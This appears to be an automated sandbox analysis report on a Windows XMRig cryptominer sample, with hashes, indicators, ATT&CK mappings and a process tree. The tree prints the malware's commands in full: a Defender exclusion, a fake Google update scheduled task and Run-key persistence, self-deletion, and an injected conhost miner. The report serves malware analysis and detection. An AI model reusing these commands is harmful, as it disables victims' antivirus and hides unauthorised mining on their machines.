xmrig | 67fb42345c7c1d330bea4fe6e0d8695cc715af98dec4fbac9cac330831052642

max time kernel
461s
max time network
1798s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
24/01/2024, 17:21

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General

Target

qM5GMXBk6hJE6Y5e (25).exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 3028 created 1204	3028	qM5GMXBk6hJE6Y5e (25).exe	18
PID 3028 created 1204	3028	qM5GMXBk6hJE6Y5e (25).exe	18
PID 3028 created 1204	3028	qM5GMXBk6hJE6Y5e (25).exe	18
PID 3028 created 1204	3028	qM5GMXBk6hJE6Y5e (25).exe	18
PID 1440 created 1204	1440	updater.exe	18
PID 1440 created 1204	1440	updater.exe	18
PID 1440 created 1204	1440	updater.exe	18
PID 1440 created 1204	1440	updater.exe	18
PID 2348 created 1204	2348	conhost.exe	18
PID 1440 created 1204	1440	updater.exe	18

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

resource	yara_rule
behavioral21/memory/2296-69-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2296-71-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2296-75-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2296-77-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2296-79-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2296-81-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2296-83-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2296-85-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2296-87-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2296-89-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2296-91-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2296-93-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2296-95-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2296-97-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2296-99-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2296-101-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2296-103-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2296-105-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2296-107-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2296-109-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2296-111-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2296-113-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2296-115-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2296-117-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2296-119-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2296-121-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2296-123-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2296-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2296-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2620	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
1440	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
1732	taskeng.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral21/memory/2296-64-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2296-69-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2296-71-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2296-75-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2296-77-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2296-79-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2296-81-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2296-83-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2296-85-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2296-87-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2296-89-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2296-91-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2296-93-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2296-95-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2296-97-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2296-99-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2296-101-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2296-103-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2296-105-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2296-107-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2296-109-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2296-111-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2296-113-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2296-115-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2296-117-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2296-119-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2296-121-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2296-123-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2296-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2296-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1440 set thread context of 2348	1440	updater.exe	53
PID 1440 set thread context of 2296	1440	updater.exe	50

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	qM5GMXBk6hJE6Y5e (25).exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1016	schtasks.exe
2712	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1912	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 40325713f34eda01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
3028	qM5GMXBk6hJE6Y5e (25).exe
3028	qM5GMXBk6hJE6Y5e (25).exe
2220	powershell.exe
3028	qM5GMXBk6hJE6Y5e (25).exe
3028	qM5GMXBk6hJE6Y5e (25).exe
2796	powershell.exe
3028	qM5GMXBk6hJE6Y5e (25).exe
3028	qM5GMXBk6hJE6Y5e (25).exe
3028	qM5GMXBk6hJE6Y5e (25).exe
3028	qM5GMXBk6hJE6Y5e (25).exe
2624	powershell.exe
1440	updater.exe
1440	updater.exe
2856	powershell.exe
1440	updater.exe
1440	updater.exe
2016	powershell.exe
1440	updater.exe
1440	updater.exe
1440	updater.exe
1440	updater.exe
2348	conhost.exe
2348	conhost.exe
1440	updater.exe
1440	updater.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2220	powershell.exe
Token: SeDebugPrivilege	2796	powershell.exe
Token: SeDebugPrivilege	2624	powershell.exe
Token: SeDebugPrivilege	2856	powershell.exe
Token: SeDebugPrivilege	2016	powershell.exe
Token: SeDebugPrivilege	1440	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1912	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1912	WMIC.exe
Token: SeSecurityPrivilege	1912	WMIC.exe
Token: SeTakeOwnershipPrivilege	1912	WMIC.exe
Token: SeLoadDriverPrivilege	1912	WMIC.exe
Token: SeSystemtimePrivilege	1912	WMIC.exe
Token: SeBackupPrivilege	1912	WMIC.exe
Token: SeRestorePrivilege	1912	WMIC.exe
Token: SeShutdownPrivilege	1912	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1912	WMIC.exe
Token: SeUndockPrivilege	1912	WMIC.exe
Token: SeManageVolumePrivilege	1912	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1912	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1912	WMIC.exe
Token: SeSecurityPrivilege	1912	WMIC.exe
Token: SeTakeOwnershipPrivilege	1912	WMIC.exe
Token: SeLoadDriverPrivilege	1912	WMIC.exe
Token: SeSystemtimePrivilege	1912	WMIC.exe
Token: SeBackupPrivilege	1912	WMIC.exe
Token: SeRestorePrivilege	1912	WMIC.exe
Token: SeShutdownPrivilege	1912	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1912	WMIC.exe
Token: SeUndockPrivilege	1912	WMIC.exe
Token: SeManageVolumePrivilege	1912	WMIC.exe
Token: SeLockMemoryPrivilege	2296	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2796 wrote to memory of 2712	2796	powershell.exe	32
PID 2796 wrote to memory of 2712	2796	powershell.exe	32
PID 2796 wrote to memory of 2712	2796	powershell.exe	32
PID 2620 wrote to memory of 2608	2620	cmd.exe	33
PID 2620 wrote to memory of 2608	2620	cmd.exe	33
PID 2620 wrote to memory of 2608	2620	cmd.exe	33
PID 2624 wrote to memory of 2648	2624	powershell.exe	37
PID 2624 wrote to memory of 2648	2624	powershell.exe	37
PID 2624 wrote to memory of 2648	2624	powershell.exe	37
PID 1732 wrote to memory of 1440	1732	taskeng.exe	40
PID 1732 wrote to memory of 1440	1732	taskeng.exe	40
PID 1732 wrote to memory of 1440	1732	taskeng.exe	40
PID 2016 wrote to memory of 1016	2016	powershell.exe	45
PID 2016 wrote to memory of 1016	2016	powershell.exe	45
PID 2016 wrote to memory of 1016	2016	powershell.exe	45
PID 1440 wrote to memory of 2348	1440	updater.exe	53
PID 2852 wrote to memory of 1912	2852	cmd.exe	48
PID 2852 wrote to memory of 1912	2852	cmd.exe	48
PID 2852 wrote to memory of 1912	2852	cmd.exe	48
PID 1440 wrote to memory of 2296	1440	updater.exe	50

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (25).exe
"C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (25).exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:3028

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1204
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2220
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2796
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2712
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (25).exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2620
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2624
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2856
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2016
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:1016
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:2852
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2296
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:2936
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:2348

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2608

C:\Windows\system32\taskeng.exe
taskeng.exe {18221EFF-3574-494F-A48D-1718DBC7F876} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1732
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1440

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
1⤵
PID:2648

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1912

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
413KB

MD5
87eb8e7e58468658a747f2920b7cda8e

SHA1
a7caa5ea1ee1bf44f5660ec4c2bdea4a92f92447

SHA256
bc58f30e04fc70ae0209c10f2b121b6c69238d16deea3d05112a1c3a859fe3d2

SHA512
19ef6f3e126d5906f1bfeb00cd2dca68c3591fdd42692e3da18b50bad7e47d6b4f2e122b6436b7d23652df3fe1053ca942757ed7880b7f37ced4095cb5bf4b69

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
758KB

MD5
0906d5100a1e8a1374863527a414a030

SHA1
954ba1131f4b0517ea962e27a1fef6b9bcc3b7a3

SHA256
4979897b4d705707d4d57f5c94ea3df0956baa6d4aaa96025009e2bae535d9cf

SHA512
044fd079dcc1eab8e8c9848f727227ea5a72eac4731b919e66c73e63c3856f349869b0d96d4a05df1077c82820c20312b9a5103d80070b279f03a118c8f69407

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
7b506dedc4525cf65a096f5b6568d58f

SHA1
cb4f27a11d70f7db67521f7475f8d885235d0b9b

SHA256
dee874b1c2c451bd6c4bb8a65c52a21f741c7bb0699378115c4c159e91b7397a

SHA512
99a23b1df1a3aa4040cbcb1745206c861a3fd0bde816d1893c3f5703818a76257a4e5d3851f7428bb9b3c778645a23e7f11eb04f1e92501490a0bd401e579035

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
637KB

MD5
300b2a6ad87b5a176f2aa97b65fdfae7

SHA1
719acf29dc93f1028037300f4cc277bd82cd19df

SHA256
984383de84528c1c9ed88ed058b3e21f3f180969f8f5d642a876602316ddc320

SHA512
20c9f441d1705a26546ce322422b8e94be29a9becfef7913e1bd74941094009cd45d43cb5aa9f08071817e90aff5f4c985fdc843c8be67fa84526854525213be

Download Submit
memory/1440-43-0x000000013F1E0000-0x000000013F3F1000-memory.dmp

Filesize
2.1MB

Download
memory/1440-63-0x000000013F1E0000-0x000000013F3F1000-memory.dmp

Filesize
2.1MB

Download
memory/2016-55-0x0000000001360000-0x00000000013E0000-memory.dmp

Filesize
512KB

Download
memory/2016-56-0x000007FEF5BE0000-0x000007FEF657D000-memory.dmp

Filesize
9.6MB

Download
memory/2016-51-0x000007FEF5BE0000-0x000007FEF657D000-memory.dmp

Filesize
9.6MB

Download
memory/2016-52-0x0000000001360000-0x00000000013E0000-memory.dmp

Filesize
512KB

Download
memory/2016-53-0x000007FEF5BE0000-0x000007FEF657D000-memory.dmp

Filesize
9.6MB

Download
memory/2016-54-0x0000000001360000-0x00000000013E0000-memory.dmp

Filesize
512KB

Download
memory/2220-12-0x0000000002210000-0x0000000002290000-memory.dmp

Filesize
512KB

Download
memory/2220-9-0x000007FEF5BE0000-0x000007FEF657D000-memory.dmp

Filesize
9.6MB

Download
memory/2220-7-0x000007FEF5BE0000-0x000007FEF657D000-memory.dmp

Filesize
9.6MB

Download
memory/2220-13-0x000007FEF5BE0000-0x000007FEF657D000-memory.dmp

Filesize
9.6MB

Download
memory/2220-11-0x0000000002210000-0x0000000002290000-memory.dmp

Filesize
512KB

Download
memory/2220-8-0x0000000002210000-0x0000000002290000-memory.dmp

Filesize
512KB

Download
memory/2220-10-0x0000000002210000-0x0000000002290000-memory.dmp

Filesize
512KB

Download
memory/2220-6-0x0000000002200000-0x0000000002208000-memory.dmp

Filesize
32KB

Download
memory/2220-5-0x000000001B570000-0x000000001B852000-memory.dmp

Filesize
2.9MB

Download
memory/2296-85-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2296-97-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2296-127-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2296-125-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2296-123-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2296-121-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2296-119-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2296-117-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2296-115-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2296-113-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2296-111-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2296-109-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2296-107-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2296-105-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2296-103-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2296-101-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2296-99-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2296-95-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2296-93-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2296-91-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2296-89-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2296-65-0x0000000000200000-0x0000000000220000-memory.dmp

Filesize
128KB

Download
memory/2296-64-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2296-87-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2296-66-0x0000000000740000-0x0000000000760000-memory.dmp

Filesize
128KB

Download
memory/2296-67-0x0000000000760000-0x0000000000780000-memory.dmp

Filesize
128KB

Download
memory/2296-83-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2296-69-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2296-71-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2296-72-0x0000000000740000-0x0000000000760000-memory.dmp

Filesize
128KB

Download
memory/2296-73-0x0000000000760000-0x0000000000780000-memory.dmp

Filesize
128KB

Download
memory/2296-81-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2296-75-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2296-77-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2296-79-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2348-68-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/2348-74-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/2624-36-0x000007FEF5BE0000-0x000007FEF657D000-memory.dmp

Filesize
9.6MB

Download
memory/2624-39-0x000007FEF5BE0000-0x000007FEF657D000-memory.dmp

Filesize
9.6MB

Download
memory/2624-37-0x0000000002930000-0x00000000029B0000-memory.dmp

Filesize
512KB

Download
memory/2624-38-0x0000000002930000-0x00000000029B0000-memory.dmp

Filesize
512KB

Download
memory/2624-34-0x000007FEF5BE0000-0x000007FEF657D000-memory.dmp

Filesize
9.6MB

Download
memory/2624-35-0x0000000002930000-0x00000000029B0000-memory.dmp

Filesize
512KB

Download
memory/2796-21-0x0000000001DA0000-0x0000000001DA8000-memory.dmp

